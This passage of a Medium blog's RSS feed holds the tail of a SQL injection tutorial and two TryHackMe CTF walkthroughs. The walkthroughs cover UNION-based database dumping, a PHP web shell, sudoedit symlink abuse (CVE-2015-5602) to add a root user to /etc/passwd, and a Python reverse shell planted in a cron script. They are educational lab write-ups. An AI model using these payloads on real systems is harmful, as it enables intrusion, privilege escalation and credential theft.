and also append the contents of username and password in it.</p><p><strong>Querying Database in SQLI Attacks to Gather Information About Database</strong><br>There are hundreds of different databases programs. And every database is differ from one another. They have different commands, functions which doesn’t work in each other. That is why we must have to know which kind of database is our target web application using only after that we will be able to extract information from it using suitable commands, syntax and functions.</p><p>We can find out about database types by viewing their versions. We can do that using built in commands for different databases:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*F1rI62lsVCOC7vQ8kYTLvQ.png" /></figure><p>example:<br>http://www.insecure-web.com/products?category=books’ UNION SELECT @@version- -<br>SQL Query Performed:<br>SELECT * FROM products WHERE category=’books’ UNION SELECT @@version- -</p><p>If this query runs successfully and gives us result then we can confirm this database i s mySQL.</p><p><strong>Listing the Contents of Databases</strong></p><p>Most database type except Oracle have a set of view information_schema which provides information about database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*YdvDYB3qsRG0OoTwlhxJjw.png" /></figure><p>SELECT * FROM information_schema.tables<br>This will show us all the tables in the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*pqAGWsff1aKtAuTDYrhDBg.png" /></figure><p>This provided us 3 tables. We can further enumerate tables using following query:</p><p>SELECT * FROM information_schema.columns WHERE table_name=’users’</p><p>This will print every column from the table users.After this we can easily dump data reside in the columns. For example let’s assume the above query gave us 2 columns username,password then we can execute following query:</p><p>SELECT username,password FROM users</p><p>That’s it, it will print all the data stored in username and password columns.</p><p><strong>Equivalent to information_schema on Oracle</strong></p><p>Unlike other database type oracle doesn’t have information_schema what it does have is all_tables. We can use it just the way we used information schema to gather details about database:</p><p>SELECT * FROM all_tables</p><p>SELECT * FROM all_tab_columns WHERE table_name=’users’</p><p>SELECT username,password FROM users</p><p><strong>How to Detect SQLI Vulnerabilities?</strong></p><p>We can detect SQLI vulnerabilities from multiple ways including manually or using automated vulnerability scanner tool like burpsuite. Some of them are mentioned below:</p><p>-By using web vulnerability scanner in burpsuite<br>-Submitting single quote ‘ and looking for errors<br>-Submitting some SQL-specific syntax that evaluates to the base value of entry point and to a different value, looking for systematic differences in application responses. In short just use different payloads like 1=1 and 1=2 to check if there is any differences in application responses.(Blind SQLI detection, more on this later)<br>-Submitting OAST payloads designed to trigger out of band network interaction.(Blind SQLI detection, more on this later)<br>-Submitting payloads designed to trigger time delays.(Blind SQLI detection,, more on this later)</p><p><strong>SQL Injection in Different Parts of Query</strong></p><p>-Most SQLI vulnerability arises within WHERE clause of SELECT query<br>-UPDATE statements, within the updated values or the WHERE clause<br>-INSERT statements, within inserted value<br>-SELECT statements, within table or column name<br>-SELECT statements, within ORDER BY clause</p><p><strong>How to Prevent SQLI vulnerability?</strong></p><p>The one and only solution is to sanitize or filter user input before placing them into the SQL query and avoid use of directly putting user input into SQL query.</p><p><strong>EOF</strong></p><p>This was the basics of SQL Injection hope you learned something from this. I know this post’s content is very much similar to <a href="https://portswigger.net/web-security/sql-injection">portswigger’s SQLI</a>. It’s because i learned from that and the topic is same too :)</p><p>I am putting some resources link for SQLI:</p><p><a href="https://portswigger.net/web-security/sql-injection">https://portswigger.net/web-security/sql-injection</a><br><a href="https://owasp.org/www-community/attacks/SQL_Injection">https://owasp.org/www-community/attacks/SQL_Injection</a><br><a href="https://tryhackme.com/room/sqlinjectionlm">https://tryhackme.com/room/sqlinjectionlm</a><br><a href="https://github.com/alexbieber/Bug_Bounty_writeups#sql-injectionsqli">https://github.com/alexbieber/Bug_Bounty_writeups#sql-injectionsqli</a></p><p>I think this will be more than enough for you to learn about SQLI and another thing only theory is not enough to learn, you have to put it in effort by that i meant you have to do labs,ctfs,read writeups practical stuffs to learn.</p><p>There is another section of Blind SQLI and SQLI Bypassing WAF. I will write on those soon. Till then goodbye. Keep learning, Keep hacking.❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab918de0d797" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Year of the pig - Tryhackme]]></title>
            <link>https://noobsixt9.medium.com/year-of-the-pig-tryhackme-19fa5bbfd077?source=rss-6ceb36745172------2</link>
            <guid isPermaLink="false">https://medium.com/p/19fa5bbfd077</guid>
            <category><![CDATA[year-of-pig]]></category>
            <category><![CDATA[walkthrough-year-of-pig]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[thm-year-of-pig]]></category>
            <dc:creator><![CDATA[Rajan Kshedal]]></dc:creator>
            <pubDate>Sun, 03 Jul 2022 16:36:10 GMT</pubDate>
            <atom:updated>2022-07-03T16:36:10.404Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello hacker, i assume you are here cause you are stuck and don’t know what to do next right? worry not i am here and with that let’s start with enumeration using nmap:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*m2icKTohlGgrRhE7jfyzCA.png" /></figure><p>We can see there are two open ports http and ssh. let’s check http.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*alXdRlP9liUVpUmkzm0w6A.png" /></figure><p>we see quite attractive webpage which is about planes and Marco’s love for them. let’s fuzz some web directories and subdomains.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YrHP5mPAMLn9UwUNwtmvtw.png" /></figure><p>here we see two interesting directories admin and api. let’s check them.when we visit /admin it redirects us to login.php which is a login page. when i try to fool around i found out it is sending username and password via an api in json format and also encoding our entered password into MD5 hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*214QEQ-4FQwQxIjpgceCVA.png" /></figure><p>and not only that we also a got a hint saying</p><blockquote>Remember that passwords should be a memorable word, followed by two numbers and a special character</blockquote><p>Time to read boys. After reading i found a word which matches the description of the hint.</p><p>“SavoiaS21&quot; let’s create a wordlist using this word.</p><blockquote>savoia21<br>savoias21<br>SavoiaS21<br>Savoia21</blockquote><p>Save this in a txt file. This matches the description but there is one little thing missing, yes the last letter is supposed to a special character. How to add that and make above list a wordlist? Ever heard about john? let’s edit the config file and add our custom rule to generate wordlist. How to do it? worry not just follow me.</p><blockquote>sudo nano /etc/john/john.conf</blockquote><p>after that scroll down you will see</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KgM66nlnWGmsCKQAlRrhgg.png" /></figure><p>worry not it’s nothing just below this add this</p><blockquote>[List.Rules:marco]<br>Az”[!?#$%&amp;/()=]”</blockquote><p>save it and now time to generate the wordlist. nothing more just paste the command below and hit enter you will get your wordlist sir.</p><blockquote>john — wordlist=special_word.txt — rule=marco -stdout &gt; wordlist.txt</blockquote><p>Now, you have wordlist,login page what we are missing? oh right we have to encode the passwords and sent them over api/login in json format. how do we do that lord? python.. yes we create our own script hehe sounds cool eh.</p><p><a href="https://github.com/noobsixt9/pythonscripts/blob/main/auth.py">pythonscripts/auth.py at main · noobsixt9/pythonscripts</a></p><p>Here is the code that will help you with our problem. It’s messy cause i am total novice programmer. Make sure you change the path of directory for wordlist and also don’t forget to change the ip with thm’s ip. Let’s hit that code with our freshly generated wordlist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/1*5b7Xz59tGFRiiagqpvEIJw.png" /></figure><p>we got our password but we got something extra too haha well ignore that. too lazy to debug the code. Our password is <em>savoia21!</em></p><p>Let’s login and see what marco have there for us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*buFRfWeTuTuu_5AoBIM4aw.png" /></figure><p>We can see there are many pages after checking all of them we find out that there is another user named <em>curtis </em>might be useful later who knows right and another interesting page is commands where we can execute commands hehehe yeah boi that’s what we are looking right yes but no it’s not that guys it only execute ls and whoami. That’s depressing.</p><p><strong>Flag 1</strong></p><p>what next? let’s recall everything we enumerate ip and found out 2 open ports one was http and another one was ssh wow! we almost forgot about ssh let’s try with credentials we just found from auth.py.</p><p>Bingo!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*knRjKzpon_s8Br7mHvJ_PQ.png" /></figure><p>Congratulations boys we got our first flag.</p><p><strong>Flag 2</strong></p><p>Let’s enumerate further we see there is another user named curtis. In his home directory we see another flag and now we want but can’t get it. After fooling around i find out that there is a file in /var/www/ named admin.db which contains password of curtis. But we don’t have permission for that. I fooled around again and found about we can edit commands.php in /var/www/html/admin. Let’s edit that with following code:</p><pre>&lt;?php<br>echo system($_REQUEST[&#39;cmd&#39;]);<br>?&gt;</pre><p>And now change permission for the admin.db file with following commands,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O8ItT2xZjNochABpBiFV_w.png" /></figure><p>store md5 hash of curtis in a hash.txt and now time to crack it. You can use john hashcat or online sites to crack it.</p><pre>a80bfe309ecaafcea1ea6cb3677971f2</pre><p>i use john and the password for curtis is: <em>Donald1983$. </em>Now use<em> su curtis </em>and enter the password you will get your shell. And you got your second flag.</p><p><strong>Root Flag</strong></p><p>Let’s run sudo -l in curtis shell we see user is allowed to run /usr/bin/sudoedit as sudo,against certain files in /var/www/html.</p><pre>User curtis may run the following commands on year-of-the-pig:<br>    (ALL : ALL) sudoedit /var/www/html/*/*/config.php</pre><p>I searched for awhile and found out sudoedit designed to not be exploitable but there is an exploit for version lesser than 1.8.14 <a href="https://www.exploit-db.com/exploits/37710">CVE-2015–5602</a>. So, i checked the version.</p><pre>curtis@year-of-the-pig:~$ sudo --version<br>Sudo version 1.8.13<br>Sudoers policy plugin version 1.8.13<br>Sudoers file grammar version 44<br>Sudoers I/O plugin version 1.8.13</pre><p>This confirms sudoedit is vulnerable to <a href="https://www.exploit-db.com/exploits/37710">CVE-2015–5602</a>. To activate this sudoers configuration we need a file called config.php, two directories under /var/www/html. But we have a problem that curtis is not a member of web developer so we have to go back in marco shell to create such a path.</p><pre>curtis@year-of-the-pig:~$ exit<br>exit<br>marco@year-of-the-pig:~$ mkdir -p /var/www/html/dir1<br>marco@year-of-the-pig:~$ chmod 777 /var/www/html/dir1<br></pre><p>Now that we have a valid path and any user in the machine can read,write and execute dir1 directory curtis will be able to create directories inside dir1, we need to symlink config.php to something important for example /etc/passwd. For whom symlink sounds new it’s basically a shortcut file just like in windows. you can chec out this <a href="https://www.freecodecamp.org/news/symlink-tutorial-in-linux-how-to-create-and-remove-a-symbolic-link/">blog</a> for more info. Change shell to curtis and follow commands below:</p><pre>curtis@year-of-the-pig:~$ mkdir /var/www/html/dir1/dir2<br>curtis@year-of-the-pig:~$ ln -s /etc/passwd /var/www/html/dir1/dir2/config.php</pre><p>Time activate sudo permissions.</p><pre>curtis@year-of-the-pig:~$ sudoedit /var/www/html/dir1/dir2/config.php</pre><p>We should now have edit access to the /etc/passwd file!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*yoZAHtWUScOkOeXvSQLePg.png" /></figure><p>Now we can edit /etc/passwd file we can add our own user here and give root access to our user. We can do that by following simple commands:</p><p><strong>generate our hash password using openssl</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BLZWDLjpK_e4grBDEX3S1A.png" /></figure><p><strong>Add our user in /etc/passwd file</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LN1n4YD8TK3XycqDmIJ_hw.png" /></figure><p>if you don’t know how to use vim editor then first press ‘ i ’ to switch into insert mode then add username and hashed password in the following format:</p><pre>&lt;username&gt;:&lt;hashed-password&gt;:0:0::/root:/bin/bash</pre><p>After that press ‘esc’ and press ‘:wq’ to save and exit vim. Now su &lt;your username&gt; enter password and you got your root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*nm1tHvfydzAyy_rWJlOovA.png" /></figure><p>Navigate to /root there you can see you root flag waiting for you to cat and see inside it.</p><p><strong>Conclusion</strong></p><p>This was a really fun and easy one HAHA just kidding bro it was freaking hard but very knowledgeable we learned usage of python scripts to assist us in penetration testing, vulnerable version of sudoedit and ho to exploit it, what is symlink,how to edit /etc/passwd, hash decryption, api, different python modules, bruteforcing and all. I wanna thank you creator of this amazing room <a href="https://tryhackme.com/p/MuirlandOracle">MuirlandOracle</a> and thank you so much <a href="http://tryhackme.com/">tryhackme</a> for all this amazing ctfs.</p><p>Cybersecurity is really vast, you and me have just touched the surface of it. There is so much to learn. So, let’s learn together follow me on <a href="http://twitter.com/noobsixt9">twitter</a>. It’s totally alright to see writeups while you’re stuck i do that too and everyone else does none is expert, none is perfect. Everything and everyone is vulnerable but it’s upto us we patch our vulnerabilities or left them as they are. With that saying we have to say goodbye till next time. Keep learning, Keep hacking. See you ❤.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=19fa5bbfd077" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TRYHACKME: EASY PEASY STEP WISE WRITEUP FOR BEGINNERS]]></title>
            <link>https://noobsixt9.medium.com/tryhackme-easy-peasy-step-wise-writeup-for-beginners-227b720970a5?source=rss-6ceb36745172------2</link>
            <guid isPermaLink="false">https://medium.com/p/227b720970a5</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackeme-ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-easypeasy]]></category>
            <category><![CDATA[easyepeasy-ctf]]></category>
            <dc:creator><![CDATA[Rajan Kshedal]]></dc:creator>
            <pubDate>Tue, 26 Apr 2022 18:10:49 GMT</pubDate>
            <atom:updated>2022-04-26T18:12:38.724Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello hackers! Today we are going to another ctf from <a href="http://tryhackme.com/">tryhackme</a>. This one is <a href="http://tryhackme.com/room/easypeasyctf">Easy Peasy</a> which is developed by <a href="https://tryhackme.com/p/kral4">kral4</a>.</p><p>Now, let’s start our enumeration using nmap.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WoqrSFj9a7voI0oD3KjRbg.png" /><figcaption>nmap -sT -sV -p- $thm_ip</figcaption></figure><p>Always try to do a full port scan you might miss open ports. Here we have 2 ports open for http and one port for ssh. In total we have <strong>3 ports</strong> that’s our first answer. We can see the version of nginx which is our <strong>second answer 1.61.1</strong>. Now in the third question they asked what’s running on the highest port and <strong>it’s Apache.</strong></p><p>Now let’s check both http services hah! Nothing that much interesting on homepage. Time to fuzz web directories for that i use <a href="https://github.com/OJ/gobuster">gobuster</a>. It can be installed by github repo and if you are using kali linux you can install that application using following commands:</p><blockquote><strong>sudo apt update</strong></blockquote><blockquote><strong>sudo apt install gobuster</strong></blockquote><p>Now let’s fuzz on port 80!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sqOVEkDhLl23zvnCgC7C4A.png" /><figcaption>gobuster dir -u &lt;thmip&gt; -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</figcaption></figure><p>We found a hidden directory here when we visit that page we see a background image nothing interesting let’s keep fuzzing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IYWNJ3WYlFNCb_JhGUseIw.png" /><figcaption>gobuster dir -u &lt;thmip&gt;/hidden -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</figcaption></figure><p>We see another photo but when we see the page source code we see a hidden text which is encoded in base64.</p><blockquote><strong>&lt;p hidden&gt;ZmxhZ3tmMXJzN19mbDRnfQ==&lt;/p&gt;</strong></blockquote><p>we can decode this on terminal by using following command:</p><blockquote><strong>root@kali:~/Downloads# echo “ZmxhZ3tmMXJzN19mbDRnfQ==” | base64 -d<br>flag{f1rs7_fl4g}</strong></blockquote><p>That was our first flag guys now let’s enumerate our another http service which is running at port 65524. Going to the Apache server webpage it looks like default apache webpage but when you scroll down you will see flag3.</p><blockquote>Fl4g 3 : flag{9fdafbd64c47471a8f54cd3fc64cd312}</blockquote><p>After that i ran gobuster in apache server. i found following results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ijwk3EZmiqZOzs9Ty1msDw.png" /></figure><p>I see a robots.txt file on web page. so what it does is communicates with web crawlers which contains your site data in the search engine and robots.txt tells the web crawlers which dir to crawl and which is not to crawl. Let’s check it out.</p><blockquote>User-Agent:a18672860d0510e5ab6699730763b250</blockquote><p>value of User-Agent looks like a hash. let’s check if it is or not using <a href="https://hashes.com/en/tools/hash_identifier">https://hashes.com/en/tools/hash_identifier</a>. Yes, it’s a md5 hash. Now let’s crack it. I used online site <a href="https://md5hashing.net/hash/md5/a18672860d0510e5ab6699730763b250">https://md5hashing.net/hash/md5/a18672860d0510e5ab6699730763b250</a> which is great.</p><blockquote>flag2: flag{1m_s3c0nd_fl4g}</blockquote><p>Now let’s check our apache server’s source code there i see a cipher it’s hidden:</p><blockquote>&lt;p hidden&gt;its encoded with ba….:ObsJmP173N2X6dOrAgEAL0Vu&lt;/p&gt;</blockquote><p>let’s use <a href="https://gchq.github.io/CyberChef/#recipe=From_Base62(&#39;0-9A-Za-z&#39;)&amp;input=T2JzSm1QMTczTjJYNmRPckFnRUFMMFZ1">CyberChef</a> to crack it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mjUqPN3CZ0BHWNSly8dsCg.png" /><figcaption>/n0th1ng3ls3m4tt3r</figcaption></figure><p>Which is our hidden directory and answer to the hidden directory question. Let’s navigate there. Looking at the souce code we see a long hash and a jpg image. let’ download image and copy that hash. I used john and provided password list easypeasy.txt to crack that hash you can use online tools or hashcat or john you will get the same answer:</p><blockquote>Password: mypasswordforthatjob</blockquote><p>Let’s check our jpg image file if it stores data or not using steghide. You can install steghide on kali liux using following commands:</p><blockquote>sudo apt install steghide</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GtsLTLQBFj3S733-OvG_6Q.png" /></figure><p>Now, let’s check our secert text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JlmiEQcR13qwCCjQqPmZ4w.png" /><figcaption>cat secerettext.txt</figcaption></figure><p>Password is encoded using binary again we can use <a href="https://gchq.github.io/CyberChef/#recipe=From_Binary(&#39;Space&#39;,8)&amp;input=MDExMDEwMDEgMDExMDAwMTEgMDExMDExMTEgMDExMDExMTAgMDExMTAxMTAgMDExMDAxMDEgMDExMTAwMTAgMDExMTAxMDAgMDExMDAxMDEgMDExMDAxMDAgMDExMDExMDEgMDExMTEwMDEgMDExMTAwMDAgMDExMDAwMDEgMDExMTAwMTEgMDExMTAwMTEgMDExMTAxMTEgMDExMDExMTEgMDExMTAwMTAgMDExMDAxMDAgMDExMTAxMDAgMDExMDExMTEgMDExMDAwMTAgMDExMDEwMDEgMDExMDExMTAgMDExMDAwMDEgMDExMTAwMTAgMDExMTEwMDEK">CyberChef </a>to decode this.</p><p>Decrypted username and password is:</p><blockquote>boring : iconvertedmypasswordtobinary</blockquote><p>ssh? sure, let’s do it.</p><blockquote>ssh boring@10.10.29.155 -p6498</blockquote><p>enter pass from above and we got our ssh connection. let’s search for flags.</p><p>we saw user.txt on our default directory and when we open that file. it says data is rotated or something. That might means it is using ROT cipher let’s decrypt it using <a href="https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)&amp;input=c3ludHthMGp2Z2YzM3pmYTBlejR5fQo">CyberChef</a>. And we got our flag.</p><blockquote>user.txt: flag{n0wits33msn0rm4l}</blockquote><p>Now at last privilege escalation. let’s start with sudo -l didn’t get anything. Next crontabs.</p><blockquote>* * * * * root cd /var/www/ &amp;&amp; sudo bash .mysecretcronjob.sh</blockquote><p>i used locate and found where is that script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZuCWArxuywMSjvMvdW1pZA.png" /></figure><p>That script is owned by our user means we can modify it. let’s put a reverse shell there from <a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">pentestmonkey</a>. I used python script you can use bash too but you have to modify python script from pentest alittle bit. Change your ip and port. start a listener using netcat and wait for the connection.</p><blockquote>python3 -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;&lt;your_ip&gt;&quot;,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/bash&quot;,&quot;-i&quot;]);&#39;</blockquote><p>locate root.txt. it’s hidden in /root/.root.txt</p><blockquote>.root.txt: flag{63a9f0ea7bb98050796b649e85481845}</blockquote><p>With that we have successfully completed our easypeasy ctf. Thank you everyone for reading this a follow me on twitter if you have any queries and want to do ctf. <a href="https://medium.com/u/6ceb36745172">noobsixt9</a>.</p><p>Keep hacking!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=227b720970a5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>